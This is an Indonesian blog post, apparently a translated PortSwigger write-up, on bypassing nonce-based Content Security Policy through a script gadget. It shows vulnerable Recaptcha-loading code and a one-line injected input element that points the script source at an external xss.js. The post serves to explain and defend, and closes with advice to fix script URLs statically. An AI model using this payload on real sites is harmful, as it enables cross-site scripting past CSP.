Berburu Bypass CSP Berbasis Nonce Menggunakan Analisis Dinamis - CRUDPRO

Berburu Bypass CSP Berbasis Nonce Menggunakan Analisis Dinamis

Ingat posting tentang bypass CSP PayPal. Mereka menggunakan kebijakan daftar izin untuk menunjukkan betapa tidak amannya itu, tetapi bagaimana dengan sisi lain dari koin? Kebijakan berbasis nonce lebih aman, bukan? Jika Anda yakin bahwa JavaScript tidak mengandung bug, kebijakan berbasis nonce pasti lebih aman. Namun, bug ini bisa halus dan mungkin tidak diperhatikan.

Kebijakan berbasis nonce menggunakan token acak yang ditetapkan ke atribut untuk menentukan apakah skrip dapat dieksekusi. Idenya adalah penyerang tidak dapat menemukan token acak ini, sehingga tidak dapat memasukkannya dan karena itu tidak dapat menjalankan skrip. Misalnya, skrip ini diizinkan karena "token acak" adalah token acak yang diizinkan oleh CSP.

<script nonce="random-token">

Dalam hal ini, penyerang memasukkan skrip, tetapi tidak berjalan karena tidak mengetahui token yang diacak.

<script nonce="foo">

Gadget skrip adalah fitur dari beberapa situs yang dapat menjalankan JavaScript dengan cara yang tidak biasa. Gadget biasanya diizinkan untuk menjalankan JavaScript, yang memungkinkan Anda melewati CSP.

Alex Borshik, kepala tim pemindai, memutuskan untuk melakukan pemindaian rutin pada portswigger.net, yang menyebabkan masalah menarik dengan analisis dinamis. Dia menyerahkan masalahnya kepada saya dan saya melihat sekilas apa yang terjadi.

Saya mengambil jejak tumpukan dari analisis dinamis dan menempelkannya ke konsol Chrome untuk melihat baris kode yang tepat.

var t = document.querySelector("[id^='RecaptchaClientUrl-']").value
      , i = document.querySelector("[id^='RecaptchaClientSecret-']").value
      , n = document.createElement("script");
    n.id = "RecaptchaScript";
    n.src = t + i;

Pemindai Burp telah mendeteksi bahwa nilai elemen input sedang digunakan untuk mengontrol URL skrip. Ini membuat skrip Recaptcha yang Anda buat rentan. Gadget dalam hal ini adalah elemen input dan properti nilainya.

Kode ini menggunakan pemilih kueri untuk mendapatkan URL klien Recaptcha. Masalahnya adalah jika penyerang memiliki kerentanan injeksi yang terjadi sebelum target querySelector, itu bisa menyuntikkan elemen berbahaya dengan ID "RecaptchaClientUrl-" dan membajak hasil querySelector

Alasan untuk ini adalah bahwa analisis dinamis yang ditandai adalah bypass CSP berbasis nonce yang nyata karena document.querySelector mengembalikan elemen pertama yang cocok dengan querySelector. Ini ditunjukkan sebagai:

<input id="RecaptchaClientUrl-" value="//portswigger-labs.net/xss/xss.js" />

Elemen input dideteksi menggunakan querySelector, nilai elemen input dibaca dan ditetapkan ke atribut skrip src, dan skrip penyerang dieksekusi.

Kesimpulan

Anda harus yakin bahwa JavaScript tidak mengandung bug seperti itu, karena penyerang dapat mengeksploitasi bug tersebut untuk mengontrol skrip. Perbaikan terbaik untuk masalah ini adalah tidak memberikan penyerang kendali atas URL. Oleh karena itu, Anda dapat mencegah masalah ini dengan menentukan string statis di lokasi skrip.

Kebijakan berbasis nonce jelas lebih aman daripada menggunakan daftar yang diizinkan. Namun, saat menulis JavaScript, Anda harus berhati-hati untuk tidak memaparkan situs Anda ke gadget halus yang dapat digunakan penyerang untuk menghindari kebijakan tersebut.